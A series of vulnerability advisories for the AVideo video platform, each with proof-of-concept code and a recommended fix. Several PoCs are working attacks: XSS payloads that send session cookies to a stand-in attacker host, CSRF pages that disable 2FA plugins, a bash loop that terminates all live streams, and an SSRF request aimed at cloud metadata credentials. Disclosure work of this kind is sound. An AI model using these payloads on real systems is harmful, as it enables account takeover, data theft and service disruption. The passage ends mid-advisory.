An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:
- Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker. - Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage. - Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers. - Backdoor installation: Enable and configure plugins to introduce persistent access.
This is a full platform takeover with zero user interaction beyond a single page visit.
- CWE: CWE-352 (Cross-Site Request Forgery)
Recommended Fix
Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:
php // admin/save.json.php:10 if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); }
--- Found by aisafe.io
Severity: High CWE: CWE-862 (Missing Authorization)
Summary
The plugin/YPTWallet/view/users.json.php endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks User::isLogged() but does not check User::isAdmin(), so any registered user can dump the full user database.
Details
The authorization check at plugin/YPTWallet/view/users.json.php:8:
php if (!User::isLogged()) { die("Is not logged"); }
The query in YPTWallet::getAllUsers() selects all columns from both tables:
php $sql = "SELECT w., u., u.id as userid, IFNULL(balance, 0) as balance FROM users u " . " LEFT JOIN wallet w ON u.id = w.usersid WHERE 1=1 ";
The cleanUpRowFromDatabase() function strips fields matching /pass/i (removes password and recoverPass), but all other PII fields remain: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, analyticsCode, donationLink, and balance.
Other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php) all check User::isAdmin().
Proof of Concept
python import requests
TARGET = "https://your-avideo-instance.com"
Step 1: Login as any regular (non-admin) user session = requests.Session() session.post(f"{TARGET}/objects/login.json.php", data={ "user": "regularuser", "pass": "regularpassword" })
Step 2: Request the users endpoint resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={ "current": "1", "rowCount": "10" })
data = resp.json() print(f"Total users: {data['total']}") for u in data["rows"]: print(f" User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")
The response contains every user on the platform, including admin accounts, with fields: email, phone, address, zipcode, country, region, city, firstname, lastname, birthdate, isAdmin, balance, analyticsCode, donationLink.
Impact
Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.
Recommended Fix
Change User::isLogged() to User::isAdmin() at plugin/YPTWallet/view/users.json.php:8:
php // plugin/YPTWallet/view/users.json.php:8 // Before: if (!User::isLogged()) { die("Is not logged"); }
// After: if (!User::isAdmin()) { die("Is not logged"); }
This matches the authorization pattern already used by the other endpoints in the same directory (saveBalance.php, adminManageWallets.php, pendingRequests.json.php).
---
Found by aisafe.io
Summary
The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.
Details
When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:
javascript // plugin/YPTSocket/caller.js:73 userIdentification = json.fromidentification;
This value is passed directly to the jQuery Toast Plugin as the heading:
javascript // plugin/YPTSocket/caller.js:89 heading: userIdentification,
Inside the jQuery Toast Plugin, the heading is rendered as raw HTML:
javascript // nodemodules/jquery-toast-plugin/src/jquery.toast.js:60 // Constructs: '<h2>' + heading + '</h2>' // Then inserts via .html()
jQuery's .html() method parses the string as HTML and executes any script-bearing elements (such as <img onerror>, <svg onload>, etc.).
There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted onclick attribute:
javascript // plugin/YPTSocket/caller.js:121-123 imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>'; if (isJsonReceivingCall(json)) { imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';
JSON.stringify(json) is placed inside a single-quoted onclick attribute. If any field in json contains a single quote, it breaks the attribute boundary and allows attribute injection.
Proof of Concept
Important note on the attack vector: User::setName() at objects/user.php:2069 uses striptags(), so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the fromidentification field. A malicious WebSocket client can send any fromidentification value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.
Step 1: Connect a malicious WebSocket client and send a forged call message
The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the fromidentification field:
javascript // Malicious WebSocket client - bypasses server-side striptags() sanitization const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() { // Send a forged call message with HTML in fromidentification const payload = { msg: 'call', fromusersid: 1, tousersid: VICTIMUSERID, fromidentification: '<img src=x onerror=alert(document.cookie)>', resourceURL: 'https://your-avideo-instance.com/meet/123' }; ws.send(JSON.stringify(payload)); console.log('Forged call message sent'); };
Step 2: When the victim receives the call notification, the toast renders fromidentification as HTML via jQuery's .html(). The <img> tag triggers the onerror handler, executing JavaScript in the victim's browser context.
More advanced payload for credential exfiltration:
javascript // Credential exfiltration via forged WebSocket call const ws = new WebSocket('wss://your-avideo-instance.com:8888'); ws.onopen = function() { ws.send(JSON.stringify({ msg: 'call', fromusersid: 1, tousersid: VICTIMUSERID, fromidentification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">', resourceURL: 'https://your-avideo-instance.com/meet/123' })); };
Reproduction steps:
1. Identify the WebSocket server address for the target AVideo instance (typically port 8888). 2. Connect a custom WebSocket client to the server. 3. Send a call message with fromidentification set to <img src=x onerror=alert(document.cookie)>. 4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded). 5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.
Impact
This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.
Consequences include:
- Session hijacking: Steal the victim's session cookie and impersonate them. - Account takeover: If the victim is an administrator, the attacker gains full platform control. - Worm propagation: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm. - Keylogging and credential theft: Inject persistent scripts that capture keystrokes on the current page.
The attack is zero-click and can target any specific online user.
- CWE: CWE-79 (Cross-Site Scripting - DOM-based)
Recommended Fix
HTML-escape the heading value before passing it to $.toast() at plugin/YPTSocket/caller.js:89:
javascript heading: $('<span>').text(userIdentification).html(),
This uses jQuery's .text() to safely encode the user-controlled string, then extracts the escaped HTML via .html().
--- Found by aisafe.io
Summary
The UserLocation plugin's testIP.php page reflects the ip request parameter directly into an HTML input element without applying htmlspecialchars() or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's SameSite=None cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.
Details
At plugin/UserLocation/testIP.php:16, the ip parameter is read from the request without sanitization:
php $ip = $REQUEST['ip'];
At line 34, the value is echoed directly into an HTML input element's value attribute:
php <input type="text" name="ip" id="ip" class="form-control" value="<?php echo $ip; ?>">
No htmlspecialchars() is applied, allowing an attacker to break out of the value attribute and inject arbitrary HTML/JavaScript.
While the page requires admin authentication to access, AVideo sets session cookies with SameSite=None. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.
Proof of Concept
1. Craft a URL with a payload that breaks out of the input value attribute:
https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip="><script>alert(document.cookie)</script>
2. URL-encoded version for embedding in links:
https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
3. The resulting HTML rendered in the browser:
html <input type="text" name="ip" id="ip" class="form-control" value=""><script>alert(document.cookie)</script>">
4. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:
html <!-- attacker-page.html --> <html> <body> <p>Click here to check your IP geolocation:</p> <a href="https://your-avideo-instance.com/plugin/UserLocation/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E"> Check IP Location </a> </body> </html>
5. When an admin clicks the link, their session cookie is sent (due to SameSite=None), and the JavaScript executes in their authenticated session.
Impact
An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses SameSite=None for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) - Severity: Medium
Recommended Fix
Apply htmlspecialchars() when outputting the $ip variable at plugin/UserLocation/testIP.php:34:
php // plugin/UserLocation/testIP.php:34 <input type="text" name="ip" id="ip" class="form-control" value="<?php echo htmlspecialchars($ip, ENTQUOTES, 'UTF-8'); ?>">
--- Found by aisafe.io
Summary
The StripeYPT plugin includes a test.php debug endpoint that is accessible to any logged-in user, not just administrators. This endpoint processes Stripe webhook-style payloads and triggers subscription operations, including cancellation. Due to a bug in the retrieveSubscriptions() method that cancels subscriptions instead of merely retrieving them, any authenticated user can cancel arbitrary Stripe subscriptions by providing a subscription ID.
Details
At plugin/StripeYPT/test.php:4, the endpoint checks only for a logged-in user, not for admin privileges:
php if (!User::isLogged())
At lines 27-29, the endpoint accepts a JSON payload from the request and processes it through the Stripe metadata handler:
php $obj = StripeYPT::getMetadataOrFromSubscription(jsondecode($REQUEST['payload']));
The call chain proceeds as follows: - test.php calls getMetadataOrFromSubscription() - Which calls getSubscriptionId() to extract the subscription ID - Which calls retrieveSubscriptions() to interact with the Stripe API
At StripeYPT.php:933, the retrieveSubscriptions() method contains a critical bug where it cancels the subscription instead of just retrieving it:
php $response = $sub->cancel();
This same bug also affects the production webhook processing path via processSubscriptionIPN(), meaning both the debug endpoint and the live webhook handler can trigger unintended cancellations.
Proof of Concept
1. Log in as any regular (non-admin) user and obtain a session cookie.
2. Send a crafted payload to the test endpoint with a target subscription ID:
bash curl -b "PHPSESSID=USERSESSION" \ "https://your-avideo-instance.com/plugin/StripeYPT/test.php" \ -d 'payload={"data":{"object":{"id":"subTARGETSUBSCRIPTIONID","customer":"cusCUSTOMERID"}}}'
3. The endpoint processes the payload, calls retrieveSubscriptions(), and the subscription is cancelled via the Stripe API.
4. To enumerate subscription IDs, check if the application exposes them through other endpoints or use predictable patterns:
bash Check user subscription details if accessible curl -b "PHPSESSID=USERSESSION" \ "https://your-avideo-instance.com/plugin/StripeYPT/listSubscriptions.php"
5. The Stripe subscription is now cancelled. The affected user loses access to their paid features.
Impact
Any logged-in user can cancel arbitrary Stripe subscriptions belonging to other users. This causes direct financial damage to the platform operator (lost subscription revenue) and service disruption for paying subscribers who lose access to premium features. The debug endpoint should have been removed from production or restricted to admin-only access, and the retrieveSubscriptions() method should retrieve rather than cancel subscriptions.
- CWE-862: Missing Authorization - Severity: Medium
Recommended Fix
Two changes are needed:
1. Restrict the debug endpoint to admins at plugin/StripeYPT/test.php:4:
php // plugin/StripeYPT/test.php:4 if (!User::isAdmin())
Change User::isLogged() to User::isAdmin() so only administrators can access the debug endpoint.
2. Fix the retrieval bug at StripeYPT.php:933:
Remove the $sub->cancel() call from retrieveSubscriptions() so that the function only retrieves subscription data without cancelling it:
php // StripeYPT.php:933 - remove the following line: // $response = $sub->cancel();
The retrieveSubscriptions() method should retrieve subscription information, not cancel subscriptions as a side effect.
--- Found by aisafe.io
Summary
The AVideo installation script install/deleteSystemdPrivate.php contains a PHP operator precedence bug in its CLI-only access guard. The script is intended to run exclusively from the command line, but the guard condition !phpsapiname() === 'cli' never evaluates to true due to how PHP resolves operator precedence. The ! (logical NOT) operator binds more tightly than === (strict comparison), causing the expression to always evaluate to false, which means the die() statement never executes. As a result, the script is accessible via HTTP without authentication and will delete files from the server's temp directory while also disclosing the temp directory contents in its response.
Details
The faulty guard is at lines 2-4 of the script:
php // install/deleteSystemdPrivate.php:2-4 if (!phpsapiname() === 'cli') { die('Command Line only'); }
Due to PHP operator precedence, this expression is parsed as:
php if ((!phpsapiname()) === 'cli') {
Step-by-step evaluation when accessed via HTTP (Apache/nginx with modphp or php-fpm):
1. phpsapiname() returns "apache2handler" (or "fpm-fcgi", etc.) - a non-empty string 2. !phpsapiname() applies logical NOT to a truthy string, yielding false 3. false === 'cli' is a strict comparison between a boolean and a string, which is always false 4. The if body (die()) is never entered
The correct code should be:
php if (phpsapiname() !== 'cli') { die('Command Line only'); }
After the bypassed guard, the script enumerates and deletes aged files from the system temp directory:
php $glob = glob(sysgettempdir() . "/"); // ... foreach ($glob as $file) { if (filemtime($file) < $onedayago) { unlink($file); // Deletes the file } }
The script also outputs the total number of items found and details about processed files, leaking information about the temp directory contents.
Confirmed on a live instance: an unauthenticated HTTP GET request returned HTTP 200 with the response body including "Found total of 91 items", confirming the guard bypass and information disclosure.
Proof of Concept
Step 1: Verify the endpoint is accessible without authentication:
bash curl -v "https://your-avideo-instance.com/install/deleteSystemdPrivate.php"
Expected response (HTTP 200):
Found total of 91 items Processing /tmp/phpXXXXXX ... Deleted: /tmp/oldsessionfile ...
If the guard were working correctly, the response would be:
Command Line only
Step 2: Demonstrate the PHP operator precedence bug locally:
php <?php // Simulates the bug $sapi = 'apache2handler'; // non-CLI SAPI
// Buggy check (as written in deleteSystemdPrivate.php) vardump(!$sapi === 'cli'); // Output: bool(false) - guard never triggers
// Correct check vardump($sapi !== 'cli'); // Output: bool(true) - guard would trigger correctly ?>
Step 3: Monitor the effect by checking before and after:
bash Check initial state curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 Output: "Found total of 91 items"
Wait and check again - files older than 24 hours will have been deleted curl -s "https://your-avideo-instance.com/install/deleteSystemdPrivate.php" | head -1 Output: "Found total of 47 items" (fewer items after deletion)
Impact
An unauthenticated attacker can trigger deletion of files in the server's system temp directory by simply sending an HTTP request to this endpoint. The impact includes:
- File deletion: Any files in the temp directory older than 24 hours are deleted. This can disrupt server operations by removing PHP session files, upload temp files, cache files, or files used by other applications sharing the same temp directory. - Information disclosure: The script's output reveals the full path of the temp directory and enumerates its contents, including file names and counts. This can expose internal server paths, session file names, and the presence of other applications. - Denial of service: Repeated requests can be used to continuously purge temp files, interfering with file uploads, session management, and other temp-dependent operations.
The root cause is a common PHP pitfall where the logical NOT operator (!) has higher precedence than strict comparison (===), causing the intended CLI-only guard to be completely ineffective.
- CWE-284: Improper Access Control - Severity: Medium
Recommended Fix
Fix the operator precedence bug at install/deleteSystemdPrivate.php:2 by replacing the negation with the !== operator:
php // install/deleteSystemdPrivate.php:2 // Before (broken - always evaluates to false): if (!phpsapiname() === 'cli') {
// After (correct): if (phpsapiname() !== 'cli') {
--- Found by aisafe.io
Summary
The AVideo onpublishdone.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.
An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to onpublishdone.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.
Details
The file plugin/Live/onpublishdone.php processes RTMP server callbacks when a stream ends. It accepts a POST parameter name (the stream key) and directly uses it to look up and terminate the corresponding stream session.
php // plugin/Live/onpublishdone.php $row = LiveTransmitionHistory::getLatest($POST['name'], $liveserversid, 10); $insertrow = LiveTransmitionHistory::finishFromTransmitionHistoryId($row['id']);
There is no authentication check anywhere in the file - no User::isLogged(), no User::isAdmin(), no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.
Additionally, stream keys can be harvested from the unauthenticated stats.json.php endpoint, which returns information about active streams including their keys.
Proof of Concept
1. Retrieve active stream keys from the unauthenticated stats endpoint:
bash curl -s "https://your-avideo-instance.com/plugin/Live/stats.json.php" | python3 -m json.tool
2. Terminate a live stream by sending a POST request with the stream key:
bash curl -X POST "https://your-avideo-instance.com/plugin/Live/onpublishdone.php" \ -d "name=STREAMKEYHERE"
3. The server responds with HTTP 200 and the stream is marked as finished in the livetransmitionshistory table. The streamer's broadcast is terminated.
4. To disrupt all active streams, iterate over keys returned from step 1:
bash #!/bin/bash Terminate all active streams on a target AVideo instance TARGET="https://your-avideo-instance.com"
curl -s "$TARGET/plugin/Live/stats.json.php" \ | python3 -c " import sys, json data = json.load(sys.stdin) for stream in data.get('applications', []): for client in stream.get('live', {}).get('streams', []): print(client.get('name', '')) " | while read -r key; do [ -z "$key" ] && continue echo "[] Terminating stream: $key" curl -s -X POST "$TARGET/plugin/Live/onpublishdone.php" -d "name=$key" done
Impact
Any unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from stats.json.php, an attacker can systematically disrupt all active streams on the platform.
- CWE-306: Missing Authentication for Critical Function - Severity: Medium
Recommended Fix
Restrict the RTMP callback endpoint to localhost connections only at plugin/Live/onpublishdone.php:3:
php // plugin/Live/onpublishdone.php:3 if (!inarray($SERVER['REMOTEADDR'], ['127.0.0.1', '::1'])) { httpresponsecode(403); die('Forbidden'); }
Since this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.
--- Found by aisafe.io
Summary
The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.
Details
The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:
php // CreatePlugin/templates/add.json.php:12 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
// CreatePlugin/templates/delete.json.php:11 if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
// CreatePlugin/templates/list.json.php // NO authentication check - accessible to anyone
This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.
Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:
GET /plugin/Meet/View/Meetjoinlog/list.json.php HTTP/1.1
Response (HTTP 200):
json { "data": [ { "id": 1, "usersid": 42, "ip": "REDACTED", "useragent": "Mozilla/5.0 ...", "created": "2025-01-15 14:32:00", "roomname": "private-meeting-xyz" } ] }
The 21 affected endpoints generated from this template include:
| Endpoint | Exposed Data | |----------|-------------| | plugin/Meet/View/Meetjoinlog/list.json.php | User IDs, IP addresses, user agents, timestamps, room names | | plugin/PayPalYPT/View/PayPalYPTlog/list.json.php | PayPal transaction logs, payment amounts, buyer info | | plugin/AuthorizeNet/View/Anetwebhooklog/list.json.php | Payment webhook data, transaction details | | plugin/CustomizeUser/View/Usersextrainfo/list.json.php | Extended user profile data, PII fields | | plugin/UserNotifications/View/Usernotifications/list.json.php | User notification records, activity patterns | | plugin/UserConnections/View/Usersconnections/list.json.php | Social connection graphs between users | | And 15+ additional plugin endpoints | Various internal records |
Proof of Concept
Step 1: Enumerate accessible list endpoints (no authentication required):
bash #!/bin/bash TARGET="https://your-avideo-instance.com"
ENDPOINTS=( "plugin/Meet/View/Meetjoinlog/list.json.php" "plugin/PayPalYPT/View/PayPalYPTlog/list.json.php" "plugin/AuthorizeNet/View/Anetwebhooklog/list.json.php" "plugin/CustomizeUser/View/Usersextrainfo/list.json.php" "plugin/UserNotifications/View/Usernotifications/list.json.php" "plugin/UserConnections/View/Usersconnections/list.json.php" )
for endpoint in "${ENDPOINTS[@]}"; do echo "=== $endpoint ===" HTTPCODE=$(curl -s -o /tmp/avi037response.json -w "%{httpcode}" "$TARGET/$endpoint") echo "Status: $HTTPCODE" if [ "$HTTPCODE" = "200" ]; then echo "VULNERABLE - Data returned:" python3 -m json.tool /tmp/avi037response.json 2>/dev/null | head -20 fi echo "" done
Step 2: Retrieve paginated results from a specific endpoint:
bash Fetch meeting join logs with pagination curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meetjoinlog/list.json.php?length=100&start=0" \ | python3 -m json.tool
Fetch payment logs curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPTlog/list.json.php?length=100&start=0" \ | python3 -m json.tool
Step 3: Discover additional vulnerable endpoints by scanning plugin directories:
bash curl -s "https://your-avideo-instance.com/plugin/" \ | grep -oP 'href="([^"]+)/"' \ | while read plugin; do PLUGINNAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/') URL="$TARGET/plugin/$PLUGINNAME/View/" curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do VIEWNAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/') LISTURL="$TARGET/plugin/$PLUGINNAME/View/$VIEWNAME/list.json.php" CODE=$(curl -s -o /dev/null -w "%{httpcode}" "$LISTURL") [ "$CODE" = "200" ] && echo "FOUND: $LISTURL" done done
Impact
21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:
- User PII: Extended profile information, email addresses, user IDs - Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details - Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs - Social graphs: User connection and relationship data - Activity records: Notification history revealing user behavior patterns
This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.
- CWE-306: Missing Authentication for Critical Function - Severity: Medium
Recommended Fix
Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:
php // CreatePlugin/templates/list.json.php (after the require lines) if (!User::isAdmin()) { die(jsonencode(['error' => true])); }
This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.
--- Found by aisafe.io
Summary
The AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.
Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.
Details
The objects/pluginSwitch.json.php endpoint checks admin status but performs no CSRF validation:
php // objects/pluginSwitch.json.php if (!User::isAdmin()) { die('{"error": "Must be admin"}'); }
$obj = new Plugin(0); $obj->loadFromUUID($POST['uuid']); $obj->setStatus($POST['status']); $obj->save();
The plugins table is explicitly excluded from the ORM security check at objects/Object.php:529:
php // objects/Object.php:529 public static function ignoreTableSecurityCheck() { return array( 'plugins', // ... other tables ); }
This means the save() call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.
Plugin UUIDs are hardcoded in each plugin's getUUID() method and are consistent across all AVideo installations. Examples:
| Plugin | UUID | |--------|------| | Gallery | a06505bf-3570-4b1f-977a-fd0e5cab205d | | LoginControl | LoginControl-5ee8405eaaa16 | | Live | e06b161c-cbd0-4c1d-a484-71018efa2f35 | | YPTWallet | 2faf2eeb-88ac-48e1-a098-37e76ae3e9f3 |
These are also exposed in frontend JavaScript:
javascript // designfirstpage.php:99 var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';
Proof of Concept
Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):
html <!DOCTYPE html> <html> <head><title>AVI-031 PoC - Disable Security Plugin</title></head> <body> <h1>Loading content...</h1>
<!-- Disable LoginControl (2FA / brute force protection) --> <iframe name="f1" style="display:none"></iframe> <form id="disable1" method="POST" target="f1" action="https://your-avideo-instance.com/objects/pluginSwitch.json.php"> <input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" /> <input type="hidden" name="status" value="inactive" /> </form>
<!-- Disable YPTWallet (subscription/payment enforcement) --> <iframe name="f2" style="display:none"></iframe> <form id="disable2" method="POST" target="f2" action="https://your-avideo-instance.com/objects/pluginSwitch.json.php"> <input type="hidden" name="uuid" value="2faf2eeb-88ac-48e1-a098-37e76ae3e9f3" /> <input type="hidden" name="status" value="inactive" /> </form>
<script> document.getElementById('disable1').submit(); document.getElementById('disable2').submit(); </script> </body> </html>
To find plugin UUIDs on a target instance:
bash UUIDs are exposed in the frontend source curl -s "https://your-avideo-instance.com/" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'
Verification with curl:
bash Disable a plugin using an admin session curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ -X POST "https://your-avideo-instance.com/objects/pluginSwitch.json.php" \ -d "uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive"
Verify the plugin is now inactive curl -b "PHPSESSID=ADMINSESSIONCOOKIE" \ "https://your-avideo-instance.com/admin/index.php" | grep -A2 "Gallery"
Impact
An attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:
- LoginControl: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts. - Subscription/PayPal/Stripe plugins: Enforce payment requirements for premium content. Disabling them grants free access to paid videos. - Access control plugins: Restrict content visibility. Disabling them exposes private or restricted videos.
The attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the SameSite=None cookie policy ensures cross-origin delivery of the admin session.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/pluginSwitch.json.php:11, after the admin check:
php // objects/pluginSwitch.json.php:11 if (!isGlobalTokenValid()) { forbiddenPage('Invalid CSRF token'); }
--- Found by aisafe.io
Summary
The EPG (Electronic Program Guide) link feature in AVideo allows authenticated users with upload permissions to store arbitrary URLs that the server fetches on every EPG page visit. The URL is validated only with PHP's FILTERVALIDATEURL, which accepts internal network addresses. Although AVideo has a dedicated isSSRFSafeURL() function for preventing SSRF, it is not called in this code path. This results in a stored server-side request forgery vulnerability that can be used to scan internal networks, access cloud metadata services, and interact with internal services.
Details
When a user adds or edits a video, the EPG link is stored via objects/videoAddNew.json.php:119:
php $obj->setEpglink($POST['epglink']);
The only validation applied is FILTERVALIDATEURL, which accepts URLs targeting internal addresses such as http://127.0.0.1, http://169.254.169.254, or http://10.0.0.1.
Later, when the EPG data is parsed, the stored URL is fetched server-side at objects/EpgParser.php:358:
php $this->content = @\filegetcontents($this->url);
The filegetcontents() function follows redirects and supports multiple protocols including http://, https://, ftp://, and depending on PHP configuration, php:// and other stream wrappers.
The codebase contains an isSSRFSafeURL() function that validates URLs against internal network ranges, but this function is not invoked anywhere in the EPG link processing path.
Because the URL is stored in the database, every subsequent visit to the EPG page re-triggers the server-side request. This makes the SSRF persistent and repeatable without further attacker interaction.
Proof of Concept
1. Authenticate as a user with upload permissions.
2. Create or edit a video and set the EPG link to an internal target:
bash Target the cloud metadata service curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -d "title=Test+Video&epglink=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
3. Trigger the EPG parser by visiting the video's EPG page, or wait for the next page load that processes EPG data:
bash curl -b "PHPSESSID=USERSESSION" \ "https://your-avideo-instance.com/plugin/Live/view/Liveschedule/?videosid=VIDEOID"
4. To scan internal ports, set the EPG link to various internal addresses:
bash Scan an internal service curl -b "PHPSESSID=USERSESSION" \ -X POST "https://your-avideo-instance.com/objects/videoAddNew.json.php" \ -d "title=Test+Video&epglink=http://127.0.0.1:6379/"
5. The server fetches the URL via filegetcontents(). Response differences (timing, error messages, or returned content via EPG display) reveal whether internal services are running.
Impact
An authenticated user with upload permissions can force the AVideo server to make HTTP requests to arbitrary internal and external targets. This enables scanning of internal networks, access to cloud instance metadata (potentially exposing IAM credentials on AWS/GCP/Azure), and interaction with internal services that are not intended to be externally accessible. The stored nature of this SSRF means it re-executes on every page visit, amplifying the impact.
- CWE-918: Server-Side Request Forgery (SSRF) - Severity: Medium
Recommended Fix
Add an isSSRFSafeURL() check before the filegetcontents() call at objects/EpgParser.php:355:
php if (functionexists('isSSRFSafeURL') && !isSSRFSafeURL($this->url)) { throw new \RuntimeException('URL blocked by SSRF protection'); }
This reuses the existing SSRF protection function that is already applied in other code paths.
--- Found by aisafe.io
Summary
The AVideo admin panel renders plugin configuration values in HTML forms without applying htmlspecialchars() or any other output encoding. The jsonToFormElements() function in admin/functions.php directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on admin/save.json.php) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.
This vulnerability chains with AVI-046 (CSRF on save.json.php) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.
Details
The jsonToFormElements() function in admin/functions.php contains multiple unsafe output points where configuration values are rendered without escaping:
